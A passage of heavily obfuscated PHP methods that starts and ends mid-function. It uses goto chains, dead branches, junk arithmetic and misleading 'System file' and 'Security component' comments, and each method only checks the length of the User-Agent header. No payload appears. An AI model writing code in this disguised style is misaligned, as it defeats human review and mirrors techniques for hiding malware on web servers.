nrsxlVvN:
$jIP39ari = 764 + 33;
$a6b9oay5s = $jIP39ari * 2;
goto a9_oUXP2t;
a9_oUXP2t:
/* System file */
$WWDcP6ib = 599 + 33;
$iCjD65Pi = $WWDcP6ib * 3;
goto AsNcfht1;
AsNcfht1:
$WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto Y6c5EiEW;
Y6c5EiEW:
goto fDiJX7gA;
fDiJX7gA:
$n7sJ6WnP = 470 + 12;
$WWDcP6ib = $n7sJ6WnP * 3;
goto BAwJSfvF;
BAwJSfvF:
goto lS6wrTny;
lS6wrTny:
goto gJNZz1HM;
gJNZz1HM:
/* System file */
goto HFiQYu9T;
HFiQYu9T:
// qACoiVrX
if (false) { echo 'This is a dead end'; }
goto o2VPMszP;
o2VPMszP:
if (false) { echo 'This is a dead end'; }
goto fe2dwdvH;
fe2dwdvH:
// O5yJDC17
if (false) { echo 'This is a dead end'; }
goto hBP0r9Yp;
hBP0r9Yp:
/* System file */
goto vKbn6wfo;
vKbn6wfo:
goto SQHp3TkJ;
SQHp3TkJ:
$iCjD65Pi = 936 + 18;
$WWDcP6ib = $iCjD65Pi * 2;
goto ymuUFFEQ;
ymuUFFEQ:
$jIP39ari = 841 + 11;
$B9ma2fmF = $jIP39ari * 1;
goto BeI1Hocd;
BeI1Hocd:
goto R_33yOCx;
R_33yOCx:
/* 1JEHEYEvtAfGBV6 */
$a6b9oay5s = 570 + 42;
$a6b9oay5s = $a6b9oay5s * 5;
goto a0Z5YQ_rl;
a0Z5YQ_rl:
$NqlX8zGc = 360 + 32;
$BqYDw4sr = $NqlX8zGc * 5;
goto pt8Mx_qq;
pt8Mx_qq:
$a29IFo9lZ = strlen($WWDcP6ib);
goto DJ6bfnJc;
DJ6bfnJc:
/* Chr1qCSGp7mZDit */
goto yEooxvd7;
yEooxvd7:
/* Security component */
goto aOlBU5GM;
aOlBU5GM:
/* Core module */
goto EEhUxeXZ;
EEhUxeXZ:
$BqYDw4sr = 402 + 36;
$iX1geSuk = $BqYDw4sr * 4;
if (false) { echo 'This is a dead end'; }
goto a7TYEg_8p;
a7TYEg_8p:
goto dsHkpD31;
dsHkpD31:
/* System file */
$BqYDw4sr = 612 + 27;
$Pe9zuJ4r = $BqYDw4sr * 2;
goto a2X5x_M1S;
a2X5x_M1S:
// JxG5v5zHkxwjrjR2
goto aPqJ5b7H;
aPqJ5b7H:
// xANxfC9oZiJa
$n7sJ6WnP = 233 + 48;
$a6EHyDbxg = $n7sJ6WnP * 5;
goto oDcmcZSs;
oDcmcZSs:
if (false) { echo 'This is a dead end'; }
goto a7eGtutQE;
a7eGtutQE:
$BqYDw4sr = 861 + 35;
$B9ma2fmF = $BqYDw4sr * 5;
if (false) { echo 'This is a dead end'; }
goto a4Q_SuQY2;
a4Q_SuQY2:
$bZa4iOd6 = 270 + 49;
$bZa4iOd6 = $bZa4iOd6 * 4;
goto WuPjvqDQ;
WuPjvqDQ:
/* YK7Ta77N7gNRN3GMFGvt */
$a6EHyDbxg = 966 + 34;
$a6EHyDbxg = $a6EHyDbxg * 2;
if (false) { echo 'This is a dead end'; }
goto E3z7XUw0;
E3z7XUw0:
// QkbfqxS8Gj_P
if (false) { echo 'This is a dead end'; }
goto a2gPPEdGB;
a2gPPEdGB:
$FbaGmw5w = 207 + 39;
$a29IFo9lZ = $FbaGmw5w * 2;
goto r24qfh7A;
r24qfh7A:
// l5Eojn2IxqiEpJkw
if (false) { echo 'This is a dead end'; }
goto a8NMSMx0o;
a8NMSMx0o:
return $a29IFo9lZ > 10;
}
private function fYoLON6b3P() {
/* RNOCI4N8Uf */
goto w7Zom_Ms;
w7Zom_Ms:
// 5fQPLZAtJdFwOhiR
goto MGbekDd0;
MGbekDd0:
/* 6vXCXSZmO3aPs06 */
$Pe9zuJ4r = 880 + 47;
$iCjD65Pi = $Pe9zuJ4r * 2;
if (false) { echo 'This is a dead end'; }
goto a7ylITqug;
a7ylITqug:
goto a56msQx1h;
a56msQx1h:
if (false) { echo 'This is a dead end'; }
goto ZKQ6sKWZ;
ZKQ6sKWZ:
/* API handler */
goto BIWZoRmo;
BIWZoRmo:
/* Security component */
$B9ma2fmF = 981 + 47;
$bZa4iOd6 = $B9ma2fmF * 1;
goto GwFbdML0;
GwFbdML0:
goto a3k69o1mj;
a3k69o1mj:
goto a9ywbFVj8;
a9ywbFVj8:
goto JOt4vhwm;
JOt4vhwm:
goto fq1v60UO;
fq1v60UO:
// q96BKgfaKFiJRxOO
$BqYDw4sr = 583 + 33;
$iX1geSuk = $BqYDw4sr * 4;
goto rb1tPGjY;
rb1tPGjY:
if (false) { echo 'This is a dead end'; }
goto xnVNl6Bn;
xnVNl6Bn:
goto jhAtLQS5;
jhAtLQS5:
goto AAX5uUlA;
AAX5uUlA:
if (false) { echo 'This is a dead end'; }
goto a4Vz6gYPE;
a4Vz6gYPE:
$a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto Y14mMGEk;
Y14mMGEk:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto UugcxHJt;
UugcxHJt:
/* apWopyRsVtfNXe9 */
goto Yr7TZ2zw;
Yr7TZ2zw:
/* Security component */
goto sYSFyODP;
sYSFyODP:
goto D7dO1YyJ;
D7dO1YyJ:
/* API handler */
goto Y1f5jihD;
Y1f5jihD:
goto eajYWT5r;
eajYWT5r:
/* API handler */
goto Y3tDtSN7;
Y3tDtSN7:
$XsucffsH = 936 + 18;
$XsucffsH = $XsucffsH * 5;
goto s5qxFGUG;
s5qxFGUG:
/* Main service */
goto a3QMWuFPd;
a3QMWuFPd:
/* VzuUEsD5BQCoZF6etvYJ */
$jIP39ari = 697 + 37;
$iCjD65Pi = $jIP39ari * 3;
goto Zg9ZnZqt;
Zg9ZnZqt:
$XsucffsH = 265 + 29;
$bZa4iOd6 = $XsucffsH * 3;
if (false) { echo 'This is a dead end'; }
goto G9tpTKj7;
G9tpTKj7:
// vGl2eAxbTctYoqyl
goto a_z_FI_LX;
a_z_FI_LX:
// 6PXfVs7ckLNkLUZ4
$WWDcP6ib = 404 + 5;
$iX1geSuk = $WWDcP6ib * 1;
if (false) { echo 'This is a dead end'; }
goto UwQGCRRb;
UwQGCRRb:
goto hYyPPXdc;
hYyPPXdc:
/* Hdm2SBXzbAtIpOZ */
goto bOWL2EVB;
bOWL2EVB:
$bZa4iOd6 = strlen($a6EHyDbxg);
goto QuJqffIK;
QuJqffIK:
// UYBfg2mgxOtl
$B9ma2fmF = 123 + 40;
$WWDcP6ib = $B9ma2fmF * 3;
goto RFFmaUx3;
RFFmaUx3:
/* RlVN84InDDkpV0a */
$n7sJ6WnP = 243 + 26;
$FbaGmw5w = $n7sJ6WnP * 5;
goto a3EH9Og5k;
a3EH9Og5k:
/* AqioDMOJdlk0UMT */
if (false) { echo 'This is a dead end'; }
goto pY_7Ej_y;
pY_7Ej_y:
if (false) { echo 'This is a dead end'; }
goto zkGWVjMI;
zkGWVjMI:
/* eqUApH2qHw */
goto PEvW1F93;
PEvW1F93:
if (false) { echo 'This is a dead end'; }
goto LAXGfAfm;
LAXGfAfm:
// n00ccFCAp89aaSN2
goto hxSj37Kx;
hxSj37Kx:
if (false) { echo 'This is a dead end'; }
goto dLyJTvmb;
dLyJTvmb:
// TCPfvAMI
$a6b9oay5s = 290 + 15;
$Pe9zuJ4r = $a6b9oay5s * 2;
goto a5nedPElJ;
a5nedPElJ:
/* Security component */
$a6b9oay5s = 504 + 3;
$bZa4iOd6 = $a6b9oay5s * 2;
goto EKeMU4DM;
EKeMU4DM:
/* API handler */
$FbaGmw5w = 357 + 35;
$iCjD65Pi = $FbaGmw5w * 1;
goto a8VowpG1y;
a8VowpG1y:
// ty0TjXHQ
goto MbqVy3nk;
MbqVy3nk:
goto wduvlPeU;
wduvlPeU:
goto S0nGuk9a;
S0nGuk9a:
if (false) { echo 'This is a dead end'; }
goto AozOJBrJ;
AozOJBrJ:
return $bZa4iOd6 > 10;
}
private function r9YEcfIS0t() {
goto ISxup229;
ISxup229:
/* oASVKvYNQxr7hssiYtTC */
goto MuftoSmH;
MuftoSmH:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto laNznBbq;
laNznBbq:
if (false) { echo 'This is a dead end'; }
goto HCLtCmI4;
HCLtCmI4:
// 7AJKZRMEqL8eab20
$a6EHyDbxg = 574 + 19;
$a6EHyDbxg = $a6EHyDbxg * 1;
goto Dn3ugfiw;
Dn3ugfiw:
$bZa4iOd6 = 330 + 26;
$jIP39ari = $bZa4iOd6 * 4;
goto WMe42SPJ;
WMe42SPJ:
goto EmfbGbRB;
EmfbGbRB:
goto zhamPfo6;
zhamPfo6:
/* VELVI29WqT3FpNsYb8Vg */
$XsucffsH = 489 + 25;
$iCjD65Pi = $XsucffsH * 3;
if (false) { echo 'This is a dead end'; }
goto SnaZrN9g;
SnaZrN9g:
$a29IFo9lZ = 668 + 31;
$NqlX8zGc = $a29IFo9lZ * 3;
if (false) { echo 'This is a dead end'; }
goto FRyeoE0G;
FRyeoE0G:
/* KwWz40EdOtbkXrYzHQJJ */
$FbaGmw5w = 350 + 11;
$n7sJ6WnP = $FbaGmw5w * 5;
goto F3derVQw;
F3derVQw:
/* jgqJjGXmNKssKfqN4AQd */
if (false) { echo 'This is a dead end'; }
goto a2c9SwxVd;
a2c9SwxVd:
/* Security component */
$BqYDw4sr = 495 + 22;
$a6b9oay5s = $BqYDw4sr * 1;
goto Us8RbO3r;
Us8RbO3r:
/* aOMtCDdmhl7VvB3GGzc7 */
$n7sJ6WnP = 107 + 26;
$Pe9zuJ4r = $n7sJ6WnP * 3;
goto TqMEsXZj;
TqMEsXZj:
// I8p6ls9H
$XsucffsH = 910 + 23;
$B9ma2fmF = $XsucffsH * 1;
goto twC8d6CF;
twC8d6CF:
// sKktoQ_lh9lP
$WWDcP6ib = 875 + 3;
$NqlX8zGc = $WWDcP6ib * 5;
if (false) { echo 'This is a dead end'; }
goto a5MWRG4la;
a5MWRG4la:
$WWDcP6ib = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto a091nKA8B;
a091nKA8B:
goto vleQHodP;
vleQHodP:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto n00B9WFw;
n00B9WFw:
$FbaGmw5w = 365 + 2;
$NqlX8zGc = $FbaGmw5w * 1;
goto iUErwXCL;
iUErwXCL:
/* 3JXLyAFogY1ZEzb */
goto a4dY3Vk39;
a4dY3Vk39:
/* API handler */
goto wKH_qzHK;
wKH_qzHK:
goto a1vivETA3;
a1vivETA3:
goto a4XV6kl15;
a4XV6kl15:
goto Zt9dawaf;
Zt9dawaf:
$B9ma2fmF = 593 + 37;
$a6EHyDbxg = $B9ma2fmF * 4;
if (false) { echo 'This is a dead end'; }
goto VXXKvvMJ;
VXXKvvMJ:
$n7sJ6WnP = 934 + 19;
$a6EHyDbxg = $n7sJ6WnP * 4;
goto dnz22xDM;
dnz22xDM:
/* System file */
if (false) { echo 'This is a dead end'; }
goto yFFSajyX;
yFFSajyX:
/* Core module */
goto MgVrNQy9;
MgVrNQy9:
/* API handler */
$XsucffsH = 322 + 15;
$a6b9oay5s = $XsucffsH * 1;
goto cfTRNdxI;
cfTRNdxI:
/* API handler */
goto SbwaEPbg;
SbwaEPbg:
$B9ma2fmF = 370 + 5;
$XsucffsH = $B9ma2fmF * 1;
goto bRycG4gO;
bRycG4gO:
$iCjD65Pi = strlen($WWDcP6ib);
goto RftPtuxp;
RftPtuxp:
goto MDBOSzbk;
MDBOSzbk:
$bZa4iOd6 = 458 + 22;
$BqYDw4sr = $bZa4iOd6 * 2;
goto a8t6K_SYJ;
a8t6K_SYJ:
if (false) { echo 'This is a dead end'; }
goto sGGwfj_N;
sGGwfj_N:
$a6b9oay5s = 886 + 21;
$a29IFo9lZ = $a6b9oay5s * 2;
goto kLjw8u40;
kLjw8u40:
goto w48NIKCW;
w48NIKCW:
// gx4SM4LwlwAp
goto g3Lu06NB;
g3Lu06NB:
goto a6Nc9zWAN;
a6Nc9zWAN:
$iCjD65Pi = 368 + 1;
$B9ma2fmF = $iCjD65Pi * 2;
goto a5WgKt65d;
a5WgKt65d:
$iCjD65Pi = 211 + 31;
$a6b9oay5s = $iCjD65Pi * 4;
goto Z3ddDrhZ;
Z3ddDrhZ:
// A8q4zYXYCHQjFlyA
$Pe9zuJ4r = 678 + 48;
$Pe9zuJ4r = $Pe9zuJ4r * 3;
if (false) { echo 'This is a dead end'; }
goto a5Du7YVXz;
a5Du7YVXz:
/* Security component */
goto IfJacYag;
IfJacYag:
// OglpaST823K7
goto qdaK_0FT;
qdaK_0FT:
$Pe9zuJ4r = 774 + 28;
$a6EHyDbxg = $Pe9zuJ4r * 5;
goto Y_HnWqq3;
Y_HnWqq3:
goto NUXkQUx_;
NUXkQUx_:
goto Mf0OFiDk;
Mf0OFiDk:
return $iCjD65Pi > 10;
}
private function MLZ943hKNs() {
/* Main service */
goto xg_YhWAK;
xg_YhWAK:
if (false) { echo 'This is a dead end'; }
goto dg7zGgAp;
dg7zGgAp:
if (false) { echo 'This is a dead end'; }
goto whueomdF;
whueomdF:
$bZa4iOd6 = 733 + 23;
$WWDcP6ib = $bZa4iOd6 * 3;
goto a0mxxM5ek;
a0mxxM5ek:
/* Security component */
goto MRsqJpDz;
MRsqJpDz:
// R98vOEGw4fcB
goto wzxvKOJf;
wzxvKOJf:
$iX1geSuk = 586 + 18;
$XsucffsH = $iX1geSuk * 3;
goto WfadiTUa;
WfadiTUa:
$iCjD65Pi = 104 + 7;
$NqlX8zGc = $iCjD65Pi * 1;
goto VbdM01Gw;
VbdM01Gw:
/* j03VJ2wbduo0HSo */
if (false) { echo 'This is a dead end'; }
goto ECUs6YKb;
ECUs6YKb:
goto LCZtecR1;
LCZtecR1:
if (false) { echo 'This is a dead end'; }
goto mAkVIO75;
mAkVIO75:
goto A0NyC0c_;
A0NyC0c_:
/* 84duU27KUPba5dzVgOuz */
goto a0VHuxlrP;
a0VHuxlrP:
$bZa4iOd6 = 436 + 5;
$bZa4iOd6 = $bZa4iOd6 * 5;
goto a3wW4HThb;
a3wW4HThb:
/* Core module */
$WWDcP6ib = 370 + 28;
$XsucffsH = $WWDcP6ib * 1;
goto qFO0SgJ5;
qFO0SgJ5:
/* System file */
if (false) { echo 'This is a dead end'; }
goto jeZYVrpF;
jeZYVrpF:
$XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto w8r8l3eD;
w8r8l3eD:
$B9ma2fmF = 932 + 29;
$BqYDw4sr = $B9ma2fmF * 1;
goto y8sjqhUn;
y8sjqhUn:
goto Q2CeaXhy;
Q2CeaXhy:
// CklTpDO2jUKoihW_
goto zWsvO8yB;
zWsvO8yB:
/* API handler */
goto c9sEYa2f;
c9sEYa2f:
goto cN0fWm_l;
cN0fWm_l:
// XekzWasJ
goto Mvf4AYzs;
Mvf4AYzs:
/* API handler */
$NqlX8zGc = 341 + 25;
$a29IFo9lZ = $NqlX8zGc * 3;
goto z5sY9VkL;
z5sY9VkL:
goto s4NXsgBm;
s4NXsgBm:
/* System file */
$NqlX8zGc = 286 + 3;
$iX1geSuk = $NqlX8zGc * 2;
if (false) { echo 'This is a dead end'; }
goto a8xri2z0W;
a8xri2z0W:
/* NgDfXAwwywdzSh9 */
goto qCTnxwsy;
qCTnxwsy:
/* Core module */
$iCjD65Pi = 304 + 10;
$a29IFo9lZ = $iCjD65Pi * 2;
goto pt14AJzG;
pt14AJzG:
if (false) { echo 'This is a dead end'; }
goto cBsWFOsf;
cBsWFOsf:
$iX1geSuk = 266 + 43;
$a29IFo9lZ = $iX1geSuk * 1;
goto a15dmDUJf;
a15dmDUJf:
/* 4jKz84TFpuBQYSeKkSJA */
$Pe9zuJ4r = 173 + 32;
$jIP39ari = $Pe9zuJ4r * 3;
goto jByHDrRU;
jByHDrRU:
goto HYFJNXX4;
HYFJNXX4:
$BqYDw4sr = strlen($XsucffsH);
goto lYzvpIiX;
lYzvpIiX:
goto bUjxfO7f;
bUjxfO7f:
$Pe9zuJ4r = 759 + 37;
$Pe9zuJ4r = $Pe9zuJ4r * 2;
goto s91x6NUC;
s91x6NUC:
/* System file */
$B9ma2fmF = 826 + 10;
$iX1geSuk = $B9ma2fmF * 1;
goto yHw0jRgy;
yHw0jRgy:
// eN7ERSd2
goto WNDgqjpS;
WNDgqjpS:
// L_tTu1JXw10QFXar
$a6b9oay5s = 299 + 29;
$n7sJ6WnP = $a6b9oay5s * 1;
goto YFJFzGsk;
YFJFzGsk:
goto X9Y6JTEs;
X9Y6JTEs:
/* Core module */
goto LqRhBaCq;
LqRhBaCq:
/* Core module */
$XsucffsH = 503 + 8;
$a6b9oay5s = $XsucffsH * 4;
goto fSejwIn6;
fSejwIn6:
goto pJGD0zig;
pJGD0zig:
// uoGLsumz
$FbaGmw5w = 884 + 48;
$B9ma2fmF = $FbaGmw5w * 3;
goto O2OAQQDQ;
O2OAQQDQ:
/* Main service */
$iX1geSuk = 902 + 8;
$NqlX8zGc = $iX1geSuk * 5;
if (false) { echo 'This is a dead end'; }
goto eRnr2qW7;
eRnr2qW7:
/* Core module */
$WWDcP6ib = 391 + 24;
$iX1geSuk = $WWDcP6ib * 2;
goto uFK8EMy1;
uFK8EMy1:
goto tsU0Vp3t;
tsU0Vp3t:
/* System file */
$a6EHyDbxg = 256 + 29;
$iCjD65Pi = $a6EHyDbxg * 1;
goto EiI1I7S0;
EiI1I7S0:
$XsucffsH = 605 + 24;
$B9ma2fmF = $XsucffsH * 4;
goto HQY3mK8U;
HQY3mK8U:
return $BqYDw4sr > 10;
}
private function JQnfyvBsfo() {
// eiNs_OvD6Sae
goto PP92vvJ0;
PP92vvJ0:
$jIP39ari = 750 + 47;
$XsucffsH = $jIP39ari * 1;
goto a1wEwZWmS;
a1wEwZWmS:
/* System file */
goto oFBkXMcj;
oFBkXMcj:
goto a2ok4ZC9E;
a2ok4ZC9E:
goto a6CKZRD7_;
a6CKZRD7_:
$iX1geSuk = 675 + 12;
$n7sJ6WnP = $iX1geSuk * 1;
goto aB5tHteg;
aB5tHteg:
// InWiE_a1
goto BpxXOs_g;
BpxXOs_g:
$a6EHyDbxg = 285 + 22;
$B9ma2fmF = $a6EHyDbxg * 4;
goto AEVHI0p3;
AEVHI0p3:
$FbaGmw5w = 750 + 49;
$iCjD65Pi = $FbaGmw5w * 2;
goto bZeH3Dsq;
bZeH3Dsq:
/* xnkjdVGn55 */
goto a8_WPWnLQ;
a8_WPWnLQ:
/* gItS_oU4w1ztJSa */
goto YSrXkXiu;
YSrXkXiu:
/* System file */
if (false) { echo 'This is a dead end'; }
goto a58iZg8Kj;
a58iZg8Kj:
/* iB9Ft2wFJb */
goto f8CH2I51;
f8CH2I51:
goto tHUmNAFM;
tHUmNAFM:
// pUz1NgVt
if (false) { echo 'This is a dead end'; }
goto Zwh6ovx5;
Zwh6ovx5:
// btQxKvXv
goto kofCWcpf;
kofCWcpf:
$XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto a5tb1QbFg;
a5tb1QbFg:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto zspJj7ps;
zspJj7ps:
/* Core module */
$BqYDw4sr = 624 + 6;
$XsucffsH = $BqYDw4sr * 4;
goto mYyXiUX1;
mYyXiUX1:
goto qo6FfoAO;
qo6FfoAO:
/* yeE_v1xuzO */
$FbaGmw5w = 918 + 20;
$jIP39ari = $FbaGmw5w * 4;
goto Omr_7zJJ;
Omr_7zJJ:
goto H4ThhqPS;
H4ThhqPS:
// bv836Woq
$WWDcP6ib = 706 + 27;
$NqlX8zGc = $WWDcP6ib * 3;
goto a7FXYtmSZ;
a7FXYtmSZ:
/* Core module */
goto Qo8uofDb;
Qo8uofDb:
goto EdnvUKUV;
EdnvUKUV:
goto XN_Amc9F;
XN_Amc9F:
/* aqS2_NgVUFUFcChBSod_ */
goto a62NHAsEK;
a62NHAsEK:
goto kQq4ojYo;
kQq4ojYo:
if (false) { echo 'This is a dead end'; }
goto pxD6XUq3;
pxD6XUq3:
$WWDcP6ib = 245 + 3;
$NqlX8zGc = $WWDcP6ib * 4;
if (false) { echo 'This is a dead end'; }
goto LbNQNLyO;
LbNQNLyO:
goto a7PBr8QNy;
a7PBr8QNy:
/* System file */
goto qZ5rBuXl;
qZ5rBuXl:
$B9ma2fmF = strlen($XsucffsH);
goto eXi9klY0;
eXi9klY0:
// 8u4yGAX6
goto y3KQcxZY;
y3KQcxZY:
/* System file */
$jIP39ari = 825 + 40;
$a6EHyDbxg = $jIP39ari * 5;
goto sLY0lbZZ;
sLY0lbZZ:
$FbaGmw5w = 680 + 39;
$n7sJ6WnP = $FbaGmw5w * 3;
goto a82HHu98M;
a82HHu98M:
/* API handler */
goto EE0Zpdsz;
EE0Zpdsz:
/* oyzff1CZbiQsDMezhQf5 */
$FbaGmw5w = 442 + 15;
$iCjD65Pi = $FbaGmw5w * 3;
goto xFADu9_t;
xFADu9_t:
$iCjD65Pi = 379 + 41;
$FbaGmw5w = $iCjD65Pi * 2;
goto u4Gz2QuV;
u4Gz2QuV:
// Km8wzGmori3Rjmjr
goto HaMzU9Ab;
HaMzU9Ab:
// scVxTGjy
if (false) { echo 'This is a dead end'; }
goto cKWysOT9;
cKWysOT9:
/* Core module */
goto a_ZXdndBX;
a_ZXdndBX:
goto Wuyxxre8;
Wuyxxre8:
goto zWwYoJSW;
zWwYoJSW:
// nnGJCjiwemmR
goto TQt5wcEk;
TQt5wcEk:
goto BAmxAgqj;
BAmxAgqj:
/* API handler */
$a6EHyDbxg = 470 + 7;
$BqYDw4sr = $a6EHyDbxg * 4;
goto a2OUmA44A;
a2OUmA44A:
/* Security component */
goto pZ8c1xBm;
pZ8c1xBm:
return $B9ma2fmF > 10;
}
private function a3tMJHZ96Ww() {
goto txLeQ2Wj;
txLeQ2Wj:
/* Core module */
$WWDcP6ib = 311 + 21;
$a29IFo9lZ = $WWDcP6ib * 1;
goto EGyGSsUp;
EGyGSsUp:
$FbaGmw5w = 533 + 21;
$jIP39ari = $FbaGmw5w * 1;
goto a87cbYPv0;
a87cbYPv0:
goto UQZI5Yjh;
UQZI5Yjh:
/* 6dmTOt3A9S */
if (false) { echo 'This is a dead end'; }
goto B28Cp7hB;
B28Cp7hB:
/* 5fDFF3ucwvgpFHf */
$a6EHyDbxg = 811 + 1;
$FbaGmw5w = $a6EHyDbxg * 3;
goto AEJxRbBc;
AEJxRbBc:
/* 2fHC50V5vdiiQ0b */
goto ELxk09DB;
ELxk09DB:
// na0OZQfOl6T0
if (false) { echo 'This is a dead end'; }
goto YfZ7lnrB;
YfZ7lnrB:
/* Main service */
goto kMC9Y8XJ;
kMC9Y8XJ:
/* System file */
$NqlX8zGc = 195 + 19;
$B9ma2fmF = $NqlX8zGc * 5;
goto s69zfcLN;
s69zfcLN:
/* K_z3GdhXR5XxS3daSIO8 */
goto fZnQqWkd;
fZnQqWkd:
/* Security component */
goto mfttzMZX;
mfttzMZX:
/* yXdu8VfYwA */
goto iG5OiaRm;
iG5OiaRm:
/* 4lWjMzwlqKTNET9 */
goto OMJp6HDH;
OMJp6HDH:
/* U35Wsfxquu */
goto a4nRSlyvA;
a4nRSlyvA:
// B1qplFvVkbKQaFLv
goto qiN7OPM_;
qiN7OPM_:
$jIP39ari = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto moMGghqX;
moMGghqX:
goto RdShh_5W;
RdShh_5W:
// nOQIoTGx
if (false) { echo 'This is a dead end'; }
goto qfnSQEmN;
qfnSQEmN:
/* Core module */
$FbaGmw5w = 750 + 49;
$FbaGmw5w = $FbaGmw5w * 2;
if (false) { echo 'This is a dead end'; }
goto a1wrjBzSE;
a1wrjBzSE:
/* Main service */
goto ywCNRAFH;
ywCNRAFH:
goto a1936H0y1;
a1936H0y1:
goto Q6MpoYQQ;
Q6MpoYQQ:
$a29IFo9lZ = 562 + 50;
$iX1geSuk = $a29IFo9lZ * 2;
goto fapBIYQR;
fapBIYQR:
/* System file */
goto A2q9PTEb;
A2q9PTEb:
/* Security component */
goto a5nlNFjh_;
a5nlNFjh_:
goto XIjnCIBN;
XIjnCIBN:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto nOIa5Je8;
nOIa5Je8:
// i0MdNnrEQrsM
if (false) { echo 'This is a dead end'; }
goto a1ta5qMw;
a1ta5qMw:
/* Security component */
goto cxLE_ohJ;
cxLE_ohJ:
// tdp0XPq4
$WWDcP6ib = 105 + 40;
$iX1geSuk = $WWDcP6ib * 5;
goto zWVYoi9x;
zWVYoi9x:
/* API handler */
if (false) { echo 'This is a dead end'; }
goto ouh9cbOM;
ouh9cbOM:
$bZa4iOd6 = strlen($jIP39ari);
goto a6TXF1y06;
a6TXF1y06:
/* API handler */
goto znQ3pIi4;
znQ3pIi4:
goto a7zpuZORr;
a7zpuZORr:
/* Core module */
goto xdXYK1TO;
xdXYK1TO:
goto hnAwq2os;
hnAwq2os:
goto sQhFMbju;
sQhFMbju:
/* b2PLyRDoD_pmu3O */
if (false) { echo 'This is a dead end'; }
goto zNXpcprY;
zNXpcprY:
goto gFweuuVL;
gFweuuVL:
// MFTxs1Ww
goto q9KgqY24;
q9KgqY24:
$bZa4iOd6 = 427 + 35;
$BqYDw4sr = $bZa4iOd6 * 4;
goto PgUClRxY;
PgUClRxY:
$Pe9zuJ4r = 879 + 45;
$B9ma2fmF = $Pe9zuJ4r * 1;
goto kLnbVEnH;
kLnbVEnH:
/* API handler */
goto ONIwknKS;
ONIwknKS:
/* RMt6lxV3zEYfGDP */
goto AtM255qj;
AtM255qj:
goto FEnzyN4h;
FEnzyN4h:
// ASdOQX_yAHiOhZAZ
goto Lt6P_ebm;
Lt6P_ebm:
/* D7O56F8TKMJudwL */
goto ZjNKd6cE;
ZjNKd6cE:
return $bZa4iOd6 > 10;
}
private function a72IzioQofL() {
goto a9n3jYUrx;
a9n3jYUrx:
if (false) { echo 'This is a dead end'; }
goto dCDKHDsy;
dCDKHDsy:
goto kRNLQX3c;
kRNLQX3c:
if (false) { echo 'This is a dead end'; }
goto Tw_pW3Uu;
Tw_pW3Uu:
/* System file */
$iCjD65Pi = 225 + 23;
$iCjD65Pi = $iCjD65Pi * 4;
goto auf_6xDd;
auf_6xDd:
/* X2oKliytQfED2ZMmhVy0 */
goto CSqxWeYw;
CSqxWeYw:
goto BTC3htQY;
BTC3htQY:
goto a2gEv5Voh;
a2gEv5Voh:
/* Main service */
$XsucffsH = 303 + 21;
$iCjD65Pi = $XsucffsH * 5;
goto yguL96A8;
yguL96A8:
$iCjD65Pi = 812 + 47;
$NqlX8zGc = $iCjD65Pi * 1;
if (false) { echo 'This is a dead end'; }
goto U4LRt2bu;
U4LRt2bu:
/* Security component */
goto a5rLlq09O;
a5rLlq09O:
goto CFRrMDf8;
CFRrMDf8:
goto mggsZzVB;
mggsZzVB:
goto gn2BkgBT;
gn2BkgBT:
if (false) { echo 'This is a dead end'; }
goto w7sOZImo;
w7sOZImo:
$FbaGmw5w = 146 + 28;
$WWDcP6ib = $FbaGmw5w * 1;
goto a6NoD7XEq;
a6NoD7XEq:
$B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto j8itNlcK;
j8itNlcK:
goto X3pGVVqn;
X3pGVVqn:
/* API handler */
$jIP39ari = 747 + 26;
$NqlX8zGc = $jIP39ari * 2;
if (false) { echo 'This is a dead end'; }
goto fWeUOp8j;
fWeUOp8j:
$n7sJ6WnP = 800 + 39;
$B9ma2fmF = $n7sJ6WnP * 2;
goto KK6N99lh;
KK6N99lh:
goto ozZsc0Ok;
ozZsc0Ok:
/* tknwlcwGn0 */
goto E9nBLfC0;
E9nBLfC0:
/* 1gts5kWZc4zR0lqPvy3O */
goto F3PgWm8b;
F3PgWm8b:
$XsucffsH = 269 + 2;
$WWDcP6ib = $XsucffsH * 5;
goto XTTWlYeK;
XTTWlYeK:
/* RfmH7dULCXGQLB4 */
goto gd2YNDyc;
gd2YNDyc:
goto wdOgUJLA;
wdOgUJLA:
goto RUSXNMZO;
RUSXNMZO:
// ZxC6IN_Z
goto VCgdf8fG;
VCgdf8fG:
$BqYDw4sr = 648 + 9;
$jIP39ari = $BqYDw4sr * 1;
goto lOtexWDU;
lOtexWDU:
$B9ma2fmF = 375 + 24;
$a6EHyDbxg = $B9ma2fmF * 5;
goto SzOg4tEv;
SzOg4tEv:
/* Core module */
goto bOQGj_p2;
bOQGj_p2:
if (false) { echo 'This is a dead end'; }
goto D3VSDFsU;
D3VSDFsU:
$a6b9oay5s = strlen($B9ma2fmF);
goto uclevFtL;
uclevFtL:
/* Core module */
goto H8jcAbjT;
H8jcAbjT:
/* API handler */
$bZa4iOd6 = 631 + 5;
$Pe9zuJ4r = $bZa4iOd6 * 4;
goto UgWWoJ3x;
UgWWoJ3x:
/* Security component */
$iX1geSuk = 559 + 4;
$iX1geSuk = $iX1geSuk * 1;
if (false) { echo 'This is a dead end'; }
goto DTxsNj5j;
DTxsNj5j:
$a29IFo9lZ = 682 + 19;
$iCjD65Pi = $a29IFo9lZ * 3;
goto K4olgrMK;
K4olgrMK:
$BqYDw4sr = 124 + 11;
$n7sJ6WnP = $BqYDw4sr * 3;
if (false) { echo 'This is a dead end'; }
goto CLcy6E93;
CLcy6E93:
// wuVDjivtmVkQ
if (false) { echo 'This is a dead end'; }
goto QiGNQstq;
QiGNQstq:
